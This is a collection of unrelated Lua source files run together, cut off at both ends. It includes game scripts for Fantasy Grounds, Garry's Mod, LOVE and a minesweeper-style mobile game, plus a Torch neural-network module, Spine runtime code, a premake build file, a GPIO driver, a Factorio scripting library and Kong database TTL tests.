rm_Buy_Head32(player) BuyHead(player, 3) end function rm_Buy_Head33(player) BuyHead(player, 4) end
local dragging = false; function onInit() -- determine if node is static if window.getDatabaseNode().isStatic() then setVisible(false); return end -- set the hover cursor setHoverCursor("hand"); end function onDragStart(button, x, y, draginfo) dragging = false; return onDrag(button, x, y, draginfo); end function onDrag(button, x, y, draginfo) if not dragging then local sourcenode = window.getDatabaseNode(); local skillsnode = window.getDatabaseNode().getChild("skills"); local initskillnode = nil; local initskillname = ""; --Debug.console("Skills node = " .. skillsnode.getNodeName()); if self.getName() == "combat_init_cool_btn" then initskillname = "Cool (Pr)"; elseif self.getName() == "combat_init_vigilance_btn" then initskillname = "Vigilance (Will)"; end for k,v in pairs(skillsnode.getChildren()) do --Debug.console("Looking at current child: " .. k); if v.getChild("name").getValue() == initskillname then --Debug.console("Have the " .. initskillname .. " db node = " .. v.getNodeName()); initskillnode = v; break; end end -- Try secondary skills of "Cool" or "Vigilance" (named without the characterstic) if not initskillnode then if self.getName() == "combat_init_cool_btn" then initskillname = "Cool"; elseif self.getName() == "combat_init_vigilance_btn" then initskillname = "Vigilance"; end for k,v in pairs(skillsnode.getChildren()) do --Debug.console("Looking at current child: " .. k); if v.getChild("name").getValue() == initskillname then --Debug.console("Have the " .. initskillname .. " db node = " .. v.getNodeName()); initskillnode = v; break; end end end -- TODO: Need to code for no match in skills - i.e. use characteristic score only. local dice = {}; DicePoolManager.addSkillDice(initskillnode, dice); if table.getn(dice) > 0 then draginfo.setType("skill"); if initskillnode.getChild("name") then draginfo.setDescription(initskillnode.getChild("name").getValue() .. " [INIT]"); end draginfo.setDieList(dice); draginfo.setDatabaseNode(initskillnode); dragging = true; return true; end end return false; end function onDragEnd(draginfo) dragging = false; end -- Allows population of the dice pool by a double-click on the dice button by the skill function onDoubleClick() Debug.console("initdicepool.lua - onDoubleClick"); --local sourcenode = window.getDatabaseNode(); local skillsnode = window.getDatabaseNode().getChild("skills"); if not skillsnode then return; end local initskillnode = nil; local initskillname = ""; --Debug.console("Skills node = " .. skillsnode.getNodeName()); if self.getName() == "combat_init_cool_btn" then initskillname = "Cool (Pr)"; elseif self.getName() == "combat_init_vigilance_btn" then initskillname = "Vigilance (Will)"; end for k,v in pairs(skillsnode.getChildren()) do --Debug.console("Looking at current child: " .. k); if v.getChild("name").getValue() == initskillname then --Debug.console("Have the " .. initskillname .. " db node = " .. v.getNodeName()); initskillnode = v; break; end end -- Try secondary skills of "Cool" or "Vigilance" (named without the characterstic) if not initskillnode then if self.getName() == "combat_init_cool_btn" then initskillname = "Cool"; elseif self.getName() == "combat_init_vigilance_btn" then initskillname = "Vigilance"; end for k,v in pairs(skillsnode.getChildren()) do Debug.console("Looking at current child: " .. k); if v.getChild("name").getValue() == initskillname then initskillnode = v; break; end end end -- TODO: Need to code for no match in skills - i.e. use characteristic score only. local dice = {}; local skilldescription; local msgidentity = DB.getValue(initskillnode, "...name", ""); DicePoolManager.addSkillDice(initskillnode, dice); if table.getn(dice) > 0 then if initskillnode.getChild("name") then skilldescription = initskillnode.getChild("name").getValue() .. " [INIT]"; end DieBoxManager.addSkillDice(skilldescription, dice, initskillnode, msgidentity); end end
object_tangible_loot_creature_loot_collections_space_reactor_mark_04_koensayr = object_tangible_loot_creature_loot_collections_space_shared_reactor_mark_04_koensayr:new { } ObjectTemplates:addTemplate(object_tangible_loot_creature_loot_collections_space_reactor_mark_04_koensayr, "object/tangible/loot/creature/loot/collections/space/reactor_mark_04_koensayr.iff")
local BinarizedNeurons,parent = torch.class('BinarizedNeurons', 'nn.Module') function BinarizedNeurons:__init(stcFlag) parent.__init(self) self.stcFlag = stcFlag self.randmat=torch.Tensor(); self.outputR=torch.Tensor(); end function BinarizedNeurons:updateOutput(input) self.randmat:resizeAs(input); self.outputR:resizeAs(input); self.output:resizeAs(input); self.outputR:copy(input):add(1):div(2) if self.train and self.stcFlag then local mask=self.outputR-self.randmat:rand(self.randmat:size()) self.output=mask:sign() else self.output:copy(self.outputR):add(-0.5):sign() end return self.output end function BinarizedNeurons:updateGradInput(input, gradOutput) self.gradInput:resizeAs(gradOutput) self.gradInput:copy(gradOutput) --:mul(0.5) return self.gradInput end
------------------------------------------------------------------------------- -- Spine Runtimes Software License v2.5 -- -- Copyright (c) 2013-2016, Esoteric Software -- All rights reserved. -- -- You are granted a perpetual, non-exclusive, non-sublicensable, and -- non-transferable license to use, install, execute, and perform the Spine -- Runtimes software and derivative works solely for personal or internal -- use. Without the written permission of Esoteric Software (see Section 2 of -- the Spine Software License Agreement), you may not (a) modify, translate, -- adapt, or develop new applications using the Spine Runtimes or otherwise -- create derivative works or improvements of the Spine Runtimes or (b) remove, -- delete, alter, or obscure any trademarks or any copyright, trademark, patent, -- or other intellectual property or proprietary rights notices on or in the -- Software, including any copy thereof. Redistributions in binary or source -- form must include this license and terms. -- -- THIS SOFTWARE IS PROVIDED BY ESOTERIC SOFTWARE "AS IS" AND ANY EXPRESS OR -- IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF -- MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO -- EVENT SHALL ESOTERIC SOFTWARE BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, -- PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES, BUSINESS INTERRUPTION, OR LOSS OF -- USE, DATA, OR PROFITS) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER -- IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) -- ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -- POSSIBILITY OF SUCH DAMAGE. ------------------------------------------------------------------------------- local setmetatable = setmetatable local utils = require "spine-lua.utils" local Color = {} Color.__index = Color function Color.new () local self = { r = 0, g = 0, b = 0, a = 0 } setmetatable(self, Color) return self end function Color.newWith (r, g, b, a) local self = { r = r, g = g, b = b, a = a } setmetatable(self, Color) return self end function Color:set(r, g, b, a) self.r = r self.g = g self.b = b self.a = a end function Color:setFrom(color) self.r = color.r self.g = color.g self.b = color.b self.a = color.a end function Color:add(r, g, b, a) self.r = self.r + r self.g = self.g + g self.b = self.b + b self.a = self.a + a self:clamp() end function Color:clamp() self.r = utils.clamp(self.r, 0, 1) self.g = utils.clamp(self.g, 0, 1) self.b = utils.clamp(self.b, 0, 1) self.a = utils.clamp(self.a, 0, 1) end return Color
project "stb_vorbis" uuid "E0D81662-85EF-4172-B0D8-F8DCFF712607" language "C" location ( "../../build/" .. mpt_projectpathname .. "/ext" ) mpt_projectname = "stb_vorbis" dofile "../../build/premake/premake-defaults-LIBorDLL.lua" dofile "../../build/premake/premake-defaults.lua" dofile "../../build/premake/premake-defaults-strict.lua" dofile "../../build/premake/premake-defaults-winver.lua" targetname "openmpt-stb_vorbis" includedirs { } filter {} filter { "action:vs*" } characterset "Unicode" filter {} defines { "STB_VORBIS_NO_PULLDATA_API", "STB_VORBIS_NO_STDIO" } files { "../../include/stb_vorbis/stb_vorbis.c", } filter { "action:vs*" } buildoptions { "/wd4005", "/wd4100", "/wd4244", "/wd4245", "/wd4701" } filter {} filter { "kind:SharedLib" } files { "../../build/premake/def/ext-stb_vorbis.def" } filter {}
local GPIO = require('periphery').GPIO local gpioswitch = {} gpioswitch.__index = gpioswitch setmetatable(gpioswitch, {__call = function(self, ...) return self.new(...) end}) -- xor for boolean type local function xor(a, b) return (a and not b) or (not a and b) end function gpioswitch.new(configuration) local self = setmetatable({}, gpioswitch) if #configuration.variables ~= 1 then error("invalid number of state variables in configuration. expected 1") elseif configuration.gpio_number == nil then error("missing gpio_number in configuration") elseif configuration.active_low == nil then error("missing active_low boolean in configuration") elseif configuration.initial_value == nil then error("missing initial_value boolean in configuration") end self.variable = configuration.variables[1] self.active_low = configuration.active_low -- Open GPIO with initial value local dir = {[false] = "low", [true] = "high"} self.gpio = GPIO(configuration.gpio_number, dir[xor(configuration.initial_value, self.active_low)]) return self end function gpioswitch:process(state) -- Write GPIO self.gpio:write(xor(state[self.variable], self.active_low)) end return gpioswitch
include("shared.lua") function ENT:Draw() self.BaseClass.Draw(self) if self:IsDroneWorkable() and not DRONES_REWRITE.ClientCVars.NoGlows:GetBool() then local pos = self:GetAttachment(self:LookupAttachment("light")).Pos local dlight = DynamicLight(self:EntIndex()) if dlight then dlight.pos = pos dlight.r = 0 dlight.g = 255 dlight.b = 0 dlight.brightness = 1 dlight.Decay = 1000 dlight.Size = 80 dlight.DieTime = CurTime() + 0.1 end render.SetMaterial(Material("particle/particle_glow_04_additive")) render.DrawSprite(pos, 8, 8, Color(0, 255, 0, 100)) end end function ENT:Think() self.BaseClass.Think(self) local cam = self:GetCamera() if cam:IsValid() then local ang = self:WorldToLocalAngles(cam:GetAngles()) self:SetPoseParameter("aim_yaw", ang.y) self:SetPoseParameter("aim_pitch", ang.p) self:InvalidateBoneCache() end end
--[[ Initializes the game and hands control over to the game loop ]] local ussuri = require("ussuri") local lib local world local game function love.load() lib = ussuri.lib love.graphics.setDefaultImageFilter("nearest", "nearest") love.audio.setDistanceModel("inverse") ussuri:lib_folder_load("game") ussuri:lib_folder_load("lost") world = lib.game.world:new() world.map_manage:load_maps("asset/map/") game = lib.lost.game_manage:new(world) world.game = game game:start() ussuri.event:event_hook_object({"update", "draw", "keydown", "mousedown"}, game) end
-- who: `core.lua` -- what: Standard library for the Flang language -- Add our class to the global namespace for lua functions -- The module name should be capitalized. It also should be -- unique, otherwise module overwriting will occur. local Core = {} Core.__index = Core Flang.LuaFunction.Core = Core -- Now start adding your functions below --[[ * "wrapper" is the flang runner (Factorio) state information for the chip itself. This argument is passed into every function call. See `FlangChip.lua` for the contents. You can expect the chip entity for example. * "flangArguments" is an array of arguments from the Flang code itself. It is 1 indexed. ]] function Core:helloWorld(wrapper, flangArguments) -- Your function can return values back to the code in a table return { -- This key is actually returned to the code result = flangArguments[1] + 1 } end function Core:tick(wrapper, flangArguments) return { result = Flang.tick } end function Core:luaPrint(wrapper, flangArguments) print(Util.concat_table_to_string(flangArguments)) return nil end function Core:print(wrapper, flangArguments) local msg = Util.concat_table_to_string(flangArguments) wrapper.printer(wrapper.entity, msg, false) return nil end -- args = (index, virtual signal name suffix, signal count) function Core:writeVirtualSignal(wrapper, flangArguments) local signalType = "virtual" local entity = wrapper.entity local signalIndex = flangArguments[1] local signalName = "signal-" .. flangArguments[2] local signalCount = flangArguments[3] return writeSignal(entity, signalIndex, signalType, signalName, signalCount) end -- args = (index, signal name, signal count) function Core:writeItemSignal(wrapper, flangArguments) local signalType = "item" local entity = wrapper.entity local signalIndex = flangArguments[1] local signalCount = flangArguments[3] local signalName = flangArguments[2] return writeSignal(entity, signalIndex, signalType, signalName, signalCount) end -- args = (virtual signal name, network color) function Core:readVirtualSignal(wrapper, flangArguments) local signalType = "virtual" local entity = wrapper.entity local signalName = "signal-" .. flangArguments[1] local circuitNetworkName = flangArguments[2] return readSignal(entity, circuitNetworkName, signalType, signalName) end function Core:readItemSignal(wrapper, flangArguments) local signalType = "item" local entity = wrapper.entity local signalName = flangArguments[1] local circuitNetworkName = flangArguments[2] return readSignal(entity, circuitNetworkName, signalType, signalName) end ----------------------------------------------------------------------- -- Private functions ----------------------------------------------------------------------- -- signalType -> "item" or "virtual" function writeSignal(entity, signalIndex, signalType, signalName, signalCount) if (signalIndex < 0 or signalIndex > 100) then -- This is a game ending exception... -- Let's just soft crash! return { hasError = true, errorMessage = "Core:Write Signal cannot accept a signal index outside the bounds [0..100]" } end local combinatorBehavior = entity.get_control_behavior() combinatorBehavior.set_signal(signalIndex, { signal = { type = signalType, name = signalName }, count = signalCount }) end function readSignal(entity, circuitNetworkName, signalType, signalName) if (entity == nil) then return { hasError = true, errorMessage = "Entity is nil" } end local combinatorBehavior = entity.get_control_behavior() -- Check the network type local circuitNetworkColor if (circuitNetworkName == "red") then circuitNetworkColor = defines.wire_type.red elseif (circuitNetworkName == "green") then circuitNetworkColor = defines.wire_type.green elseif (circuitNetworkName == "copper") then circuitNetworkColor = defines.wire_type.copper else return { hasError = true, errorMessage = "Circuit network with name " .. circuitNetworkName .. " is invalid. Try ['red', 'green', 'copper']" } end local circuitNetwork = combinatorBehavior.get_circuit_network(circuitNetworkColor) if (circuitNetwork == nil) then return { hasError = true, errorMessage = "Core:Read Signal has no network attached on type: " .. circuitNetworkName } end local signal = { type = signalType, name = signalName } return { result = circuitNetwork.get_signal(signal) } end
local helpers = require "spec.helpers" for _, strategy in helpers.each_strategy() do -- Note: ttl values in all tests need to be at least 2 because -- the resolution of the ttl values in the DB is one second. -- If ttl is 1 in the test, we might be unlucky and have -- the insertion happen at the end of a second and the subsequent -- `find` operation to happen at the beginning of the following -- second. describe("TTL with #" .. strategy, function() local dao setup(function() _, _, dao = helpers.get_db_utils(strategy) end) before_each(function() dao.apis:truncate() if strategy == "postgres" then dao.db:truncate_table("ttls") end end) it("on insert", function() local api, err = dao.apis:insert({ name = "example", hosts = { "example.com" }, upstream_url = "http://example.com" }, { ttl = 2 }) assert.falsy(err) local row, err = dao.apis:find {id = api.id} assert.falsy(err) assert.truthy(row) helpers.wait_until(function() row, err = dao.apis:find {id = api.id} assert.falsy(err) return row == nil end, 10) end) it("on update", function() local api, err = dao.apis:insert({ name = "example", hosts = { "example.com" }, upstream_url = "http://example.com" }, { ttl = 2 }) assert.falsy(err) local row, err = dao.apis:find {id = api.id} assert.falsy(err) assert.truthy(row) -- Updating the TTL to a higher value dao.apis:update({ name = "example2" }, { id = api.id }, { ttl = 3 }) row, err = dao.apis:find { id = api.id } assert.falsy(err) assert.truthy(row) helpers.wait_until(function() row, err = dao.apis:find { id = api.id } assert.falsy(err) return row == nil end, 10) end) if strategy == "postgres" then it("retrieves proper entity with no TTL properties attached", function() local _, err = dao.apis:insert({ name = "example", hosts = { "example.com" }, upstream_url = "http://example.com" }, { ttl = 2 }) assert.falsy(err) local rows, err = dao.apis:find_all() assert.falsy(err) assert.is_table(rows) assert.equal(1, #rows) -- Check that no TTL stuff is in the returned value assert.is_nil(rows[1].primary_key_value) assert.is_nil(rows[1].primary_uuid_value) assert.is_nil(rows[1].table_name) assert.is_nil(rows[1].primary_key_name) assert.is_nil(rows[1].expire_at) end) it("clears old entities", function() local _db = dao.db for i = 1, 4 do local _, err = dao.apis:insert({ name = "api-" .. i, hosts = { "example" .. i .. ".com" }, upstream_url = "http://example.com" }, { ttl = 2 }) assert.falsy(err) end local _, err = dao.apis:insert({ name = "long-ttl", hosts = { "example-longttl.com" }, upstream_url = "http://example.com" }, { ttl = 3 }) assert.falsy(err) local res, err = _db:query("SELECT COUNT(*) FROM apis") assert.falsy(err) assert.equal(5, res[1].count) res, err = _db:query("SELECT COUNT(*) FROM ttls") assert.falsy(err) assert.truthy(res[1].count >= 5) helpers.wait_until(function() local ok, err = _db:clear_expired_ttl() assert.falsy(err) assert.truthy(ok) local res_apis, err = _db:query("SELECT COUNT(*) FROM apis") assert.falsy(err) local res_ttls, err = _db:query("SELECT COUNT(*) FROM ttls") assert.falsy(err) return res_apis[1].count == 1 and res_ttls[1].count == 1 end, 10) end) end end) end
GamePhase = {} local lNumMoves = 0 local lSonarCol = 0 local lSonarRow = 0 local lTouchesEnabled = nil local lLastCol = 0 local lLastRow = 0 local lBoostThread = nil ------------------------------------------------------------------------------------------ function GamePhase.ZoomIn() if lTouchesEnabled then Views.FullBoard:SetAlpha( 0, 0.2 ) Views.ScrollingBoard:SetAlpha( 1, 0.2 ) gZoomed = true Audio.PlayClick( true ) end end function GamePhase.ZoomOut() if lTouchesEnabled then Views.FullBoard:SetAlpha( 1, 0.2 ) Views.ScrollingBoard:SetAlpha( 0, 0.2 ) gZoomed = false Audio.PlayClick( true ) end end function GamePhase.ClearGameViews() Views.TopBar:SetFrame( FCRectZero() ) Views.FullBoard:SetFrame( FCRectZero() ) Views.ScrollingBoard:SetFrame( FCRectZero() ) Views.GameOver:SetFrame( FCRectZero() ) Views.Recover:SetFrame( FCRectZero() ) Views.Quit:SetFrame( FCRectZero() ) Views.Congratulations:SetFrame( FCRectZero() ) Views.Continue:SetFrame( FCRectZero() ) Views.MainMenu:SetFrame( FCRectZero() ) end function GamePhase.SolvedThread() lTouchesEnabled = false FCWait( 1.0 ) --GamePhase.ZoomOut() Views.ScrollingBoard:SetAlpha( 0, 1 ) Views.FullBoard:SetAlpha( 0.25, 1 ) Audio.PlayYay() Views.Congratulations:SetAlpha(1); Views.Congratulations:MoveToFront() if gCurrentMapNumber < 100 then Views.Continue:SetAlpha(1) Views.Continue:MoveToFront() Views.Continue:SetTapFunction( "GamePhase.ContinueSelected" ) end Views.MainMenu:SetAlpha(1) Views.MainMenu:MoveToFront() Views.MainMenu:SetTapFunction( "GamePhase.QuitSelected" ) end ------------------------------------------------------------------------------------------ function GamePhase.MagSelected() if lTouchesEnabled then if gZoomed then GamePhase.ZoomOut() else GamePhase.ZoomIn() end end end ------------------------------------------------------------------------------------------ function GamePhase.SaveGameState() -- FCPersistentData.SetString( kSaveKey_BoardState, Board.Serialise() ) -- FCPersistentData.SetString( kSaveKey_MSState, MSManager.Serialise() ); end function GamePhase.RestoreGameState() end ------------------------------------------------------------------------------------------ function GamePhase.RecoverSelected() FCLog("Recover Selected") Audio.PlayClick() FCAnalytics.RegisterEvent( "Undo Pressed" ) if GetNumCoins() > (kUndoCost - 1) then Views.FullBoard:SetAlpha( 1, 1 ) Views.ScrollingBoard:SetAlpha( 0, 1 ) SetNumCoins( GetNumCoins() - kUndoCost ) GamePhase.UpdateCoinsView() lTouchesEnabled = true; MSManager.HideLocation( lLastCol, lLastRow ) Views.TopBar.SpendCoin:SetTapFunction( "GamePhase.ReconPressed" ) Views.TopBar.Magnify:SetTapFunction( "GamePhase.MagSelected" ) Views.GameOver:SetAlpha( 0 ) Views.Recover:SetAlpha( 0 ) Views.Quit:SetAlpha( 0 ) else gBuyCoinsSource = "recover" Store.LaunchBuyCoins("game") end end ------------------------------------------------------------------------------------------ function GamePhase.PlayerSelectedBomb() Audio.PlayBoo() lTouchesEnabled = false Views.TopBar.SpendCoin:SetTapFunction( "" ) Views.TopBar.Magnify:SetTapFunction( "" ) Views.GameOver:MoveToFront() Views.Recover:MoveToFront() Views.Quit:MoveToFront() Views.GameOver:SetAlpha( 1, 1 ) Views.Recover:SetAlpha( 1, 1 ) Views.Quit:SetAlpha( 1, 1 ) Views.ScrollingBoard:SetAlpha( 0.25, 1 ) Views.Quit:SetTapFunction( "GamePhase.QuitSelected" ) Views.Recover:SetTapFunction( "GamePhase.RecoverSelected" ) end ------------------------------------------------------------------------------------------ function GamePhase.SetCoinViewToHint() --spendCoinTextView:SetText( "Hint" ) Views.TopBar.SpendCoin.Text:SetText( kText_Hint ) Views.TopBar.SpendCoin:SetTapFunction( "GamePhase.HintPressed" ) if lBoostThread ~= nil then FCKillThread( lBoostThread ) lBoostThread = nil Views.TopBar.SpendCoin.Text:SetTextColor( kBlackColor ) Views.TopBar.SpendCoin.Text:SetFontWithSize( kGameFont, Layout.TopLineFontSize() ) end end function GamePhase.PlayerSelected( col, row ) if lTouchesEnabled then lLastCol = col lLastRow = row FCLog( "Player selected tile at " .. col .. " " .. row ) MSManager.TileSelected( col, row ) lNumMoves = lNumMoves + 1 if lNumMoves == 1 then GamePhase.SetCoinViewToHint() end Audio.PlayClick( true ) GamePhase.SaveGameState() end end ------------------------------------------------------------------------------------------ function GamePhase.FlashNumFlagsThread() for i = 1,5 do Views.TopBar.NumFlags.Text:SetTextColor( kRedColor ) Views.TopBar.NumFlags.Text:SetFontWithSize( kGameFont, Layout.TopLineFontSize() * 1.5 ) FCWait( 0.1 ) Views.TopBar.NumFlags.Text:SetTextColor( kBlackColor ) Views.TopBar.NumFlags.Text:SetFontWithSize( kGameFont, Layout.TopLineFontSize() ) FCWait( 0.1 ) end end function GamePhase.PlayerToggledFlag( col, row ) if lTouchesEnabled then if Board.ContentsOfTile( col, row ) == kTileFlagged then MSManager.ToggleFlag( col, row ) Board.SetNumFlagsLeft( Board.GetNumFlagsLeft() + 1 ) Audio.PlayFlag() else if Board.GetNumFlagsLeft() > 0 then MSManager.ToggleFlag( col, row ) Board.SetNumFlagsLeft( Board.GetNumFlagsLeft() - 1 ) Audio.PlayFlag() else FCNewThread( GamePhase.FlashNumFlagsThread, "flashNumFlags" ) end end GamePhase.UpdateNumFlags() end end ------------------------------------------------------------------------------------------ function GamePhase.ReconPressed() if lTouchesEnabled then Audio.PlayClick() FCAnalytics.RegisterEvent( "Boost Pressed" ) -- recon costs 1 coin if GetNumCoins() > (kReconCost - 1)then SetNumCoins( GetNumCoins() - kReconCost ) GamePhase.UpdateCoinsView() MSManager.TileSelected( lSonarCol, lSonarRow ) GamePhase.SetCoinViewToHint() local boostCount = FCPersistentData.GetNumber( kSaveKey_BoostCount ) FCPersistentData.SetNumber( kSaveKey_BoostCount, boostCount + 1 ) else gBuyCoinsSource = "recon" Store.LaunchBuyCoins("game") end end end ------------------------------------------------------------------------------------------ local lBombLocations = {} function BombLocation( col, row ) lBombLocations[ #lBombLocations + 1 ] = { col, row, Board.ContentsOfTile( col, row ) } end function GamePhase.HintThread() FCLog( "Hint thread" ) lTouchesEnabled = false lBombLocations = {} MSManager.BombLocations( "BombLocation" ) for bomb = 1, #lBombLocations do info = lBombLocations[ bomb ] Board.TileChanged( info[1], info[2], kTileMine ) end FCWait(2) for bomb = 1, #lBombLocations do info = lBombLocations[ bomb ] Board.TileChanged( info[1], info[2], info[3] ) end lTouchesEnabled = true end function GamePhase.HintPressed() if lTouchesEnabled then Audio.PlayClick() FCAnalytics.RegisterEvent( "Hint Pressed" ) if GetNumCoins() > (kHintCost - 1) then SetNumCoins( GetNumCoins() - kHintCost ) GamePhase.UpdateCoinsView() FCNewThread( GamePhase.HintThread, "hint" ) else gBuyCoinsSource = "hint" Store.LaunchBuyCoins("game") end end end ------------------------------------------------------------------------------------------ function GamePhase.QuitThread() GamePhase.ClearGameViews() FCPhaseManager.AddPhaseToQueue( "FrontEnd" ) FCPhaseManager.DeactivatePhase( "Game" ) end function GamePhase.QuitSelected() FCLog("QuitSelected") Audio.PlayClick() FCNewThread( GamePhase.QuitThread, "quit" ) end ------------------------------------------------------------------------------------------ function GamePhase.CompletedGame() -- completed the full game end ------------------------------------------------------------------------------------------ function GamePhase.ContinueSelected() -- increment level and possibly difficulty Audio.PlayClick() if FCPersistentData.GetBool( gSaveKeyCompleted ) then gCurrentMapNumber = math.random( 1, 99 ) else if gCurrentMapNumber == 100 then QuitSelected() return else gCurrentMapNumber = gCurrentMapNumber + 1 end end GamePhase.WillActivate() end ------------------------------------------------------------------------------------------ function GamePhase.UpdateNumFlags() Views.TopBar.NumFlags.Text:SetText( "" .. Board.GetNumFlagsLeft() ) end function GamePhase.UpdateCoinsView() Views.TopBar.GameCoins.Text:SetText( "" .. GetNumCoins() ) end ------------------------------------------------------------------------------------------ function BuyCoinsFromCoinView() Audio.PlayClick() gBuyCoinsSource = "coinsView" Store.LaunchBuyCoins("game") end function GamePhase.FlashBoostThread() while true do Views.TopBar.SpendCoin.Text:SetTextColor( kGreenColor ) FCWait( 0.5 ) Views.TopBar.SpendCoin.Text:SetTextColor( kBlackColor ) FCWait( 0.5 ) end end function GamePhase.WillActivate() Audio.PlayStart() if lBoostThread ~= nil then FCKillThread( lBoostThread ) lBoostThread = nil end if gCurrentMapNumber > 100 then gCurrentMapNumber = math.random( 1, 99 ) end FCLog("GamePhase.WillActivate") FCLog( "CurrentMapNumber = " .. gCurrentMapNumber ) if gDifficulty == kGameEasy then FCLog( "Difficulty: easy" ) elseif gDifficulty == kGameMedium then FCLog( "Difficulty: medium" ) elseif gDifficulty == kGameHard then FCLog( "Difficulty: hard" ) else FCLog( "Difficulty: easy" ) end if gDifficulty == kGameEasy then gNumTreasure = 2 elseif gDifficulty == kGameMedium then gNumTreasure = 2 elseif gDifficulty == kGameHard then gNumTreasure = 1 else gNumTreasure = 0 end AdsOn() Layout.SetAdOffset() -- Create the map LoadMaps() mapData = maps[ gCurrentMapNumber ] gNumColumns = mapData["sizeX"] gNumRows = mapData["sizeY"] gNumBombs = mapData["numBombs"] lSonarCol = mapData[ "startCol" ] lSonarRow = mapData[ "startRow" ] Board.SetNumFlagsLeft( gNumBombs ) Views.FullBoard.Number:SetText( "" .. gCurrentMapNumber ) Views.FullBoard.Number:SetAlpha( 1 ) Views.FullBoard.Number:SetAlpha( 0, 2 ) if gDifficulty == kGameEasy then Views.FullBoard.Difficulty:SetText( kText_Easy ) elseif gDifficulty == kGameMedium then Views.FullBoard.Difficulty:SetText( kText_Medium ) elseif gDifficulty == kGameHard then Views.FullBoard.Difficulty:SetText( kText_Hard ) else Views.FullBoard.Difficulty:SetText( kText_Extreme ) end Views.FullBoard.Difficulty:SetAlpha( 1 ) Views.FullBoard.Difficulty:SetAlpha( 0, 2 ) MSManager.CreateGame( gNumColumns, gNumRows, gNumBombs, mapData["seed"], gNumTreasure, lSonarCol, lSonarRow ) Board.Init( gNumColumns, gNumRows ) --FCPersistentData.SetNumber( kSaveKey_CurrentDifficulty, gDifficulty ) Views.TopBar:SetFrame( Layout.TopBarFrame() ) Views.TopBar.QuitButton:SetTapFunction( "GamePhase.QuitSelected" ) Views.TopBar.SpendCoin:SetTapFunction( "GamePhase.ReconPressed" ) Views.TopBar.SpendCoin.Text:SetText( kText_Boost ) Views.TopBar.Magnify:SetTapFunction( "GamePhase.MagSelected" ) Views.GameOver:SetFrame( GameOverFrame() ) Views.GameOver:SetAlpha( 0, 0 ) Views.Recover:SetFrame( RecoverFrame() ) Views.Recover:SetAlpha( 0, 0 ) GamePhase.UpdateNumFlags() Views.Quit:SetFrame( QuitFrame() ) Views.Quit:SetAlpha( 0, 0 ) Views.Congratulations:SetFrame( CongratulationsFrame() ) Views.Congratulations:SetAlpha( 0 ) Views.Continue:SetFrame( ContinueFrame() ) Views.Continue:SetAlpha( 0 ) Views.MainMenu:SetFrame( BackToMainMenuFrame() ) Views.MainMenu:SetAlpha( 0 ) Views.TopBar.GameCoins.Text:SetText( "" .. GetNumCoins() ) Views.TopBar.GameCoins:SetTapFunction( "BuyCoinsFromCoinView" ) -- buy coins view group Store.InitViews() gZoomed = false Views.FullBoard:SetFrame( FullBoardFrame() ) Views.FullBoard:SetTapFunction( "GamePhase.ZoomIn" ) Views.ScrollingBoard:SetFrame( ScrollingBoardFrame() ) Views.ScrollingBoard:SetTapFunction( "GamePhase.PlayerSelected" ) Views.ScrollingBoard:SetStringProperty( "pressFunction", "GamePhase.PlayerToggledFlag" ) Views.FullBoard:SetAlpha( 1 ) Views.ScrollingBoard:SetAlpha( 0 ) if gMapSize == kMapSizeSmall then Views.ScrollingBoard:SetStringProperty( "backgroundImage", "Assets/Images/Grid10x10.png" ) Views.FullBoard:SetStringProperty( "backgroundImage", "Assets/Images/Grid10x10.png" ) elseif gMapSize == kMapSizeMedium then Views.ScrollingBoard:SetStringProperty( "backgroundImage", "Assets/Images/Grid15x15.png" ) Views.FullBoard:SetStringProperty( "backgroundImage", "Assets/Images/Grid15x15.png" ) elseif gMapSize == kMapSizeLarge then Views.ScrollingBoard:SetStringProperty( "backgroundImage", "Assets/Images/Grid20x20.png" ) Views.FullBoard:SetStringProperty( "backgroundImage", "Assets/Images/Grid20x20.png" ) else Views.ScrollingBoard:SetStringProperty( "backgroundImage", "Assets/Images/Grid25x25.png" ) Views.FullBoard:SetStringProperty( "backgroundImage", "Assets/Images/Grid25x25.png" ) end -- Initialize the locals lNumMoves = 0 lTouchesEnabled = true FCOnlineAchievement.ReportUnreported() -- if FCPersistentData.GetNumber( kSaveKey_BoostCount ) < 5 then lBoostThread = FCNewThread( GamePhase.FlashBoostThread, "flashBoost") -- end end function GamePhase.IsNowActive() FCLog("GamePhase.IsNowActive") end function GamePhase.WillDeactivate() FCLog("GamePhase.WillDeactivate") AdsOff() end function GamePhase.IsNowDeactive() FCLog("GamePhase.IsNowDeactive") end function GamePhase.Update() end function TileChanged( col, row, tileType ) Board.TileChanged( col, row, tileType) if tileType == kTileMine then GamePhase.PlayerSelectedBomb() end end function Solved() FCLog("SOLVED! ") FCNewThread( GamePhase.SolvedThread , "solved" ) local levelNum = 0 if gDifficulty == kGameEasy then if FCPersistentData.GetBool( kSaveKey_CompletedEasy ) == false then levelNum = FCPersistentData.GetNumber( kSaveKey_EasyProgress ) FCOnlineLeaderboard.PostScore( "easyprogress", levelNum + 1 ) if levelNum == 0 then FCOnlineAchievement.SetProgress( kAchievement_UnlockMedium, 1 ) end if levelNum == 99 then FCPersistentData.SetBool( kSaveKey_CompletedEasy, true ) end FCOnlineAchievement.SetProgress( kAchievement_AllEasyMaps, (levelNum + 1) / 100 ) FCPersistentData.SetNumber( kSaveKey_EasyProgress, levelNum + 1 ) else FCOnlineLeaderboard.PostScore( "easyprogress", 100 ) end elseif gDifficulty == kGameMedium then if FCPersistentData.GetBool( kSaveKey_CompletedMedium ) == false then levelNum = FCPersistentData.GetNumber( kSaveKey_MediumProgress ) FCOnlineLeaderboard.PostScore( "mediumprogress", levelNum + 1 ) if levelNum == 0 then FCOnlineAchievement.SetProgress( kAchievement_UnlockHard, 1 ) end if levelNum == 99 then FCPersistentData.SetBool( kSaveKey_CompletedMedium, true ) end FCOnlineAchievement.SetProgress( kAchievement_AllMediumMaps, (levelNum + 1) / 100 ) FCPersistentData.SetNumber( kSaveKey_MediumProgress, levelNum + 1) else FCOnlineLeaderboard.PostScore( "mediumprogress", 100 ) end 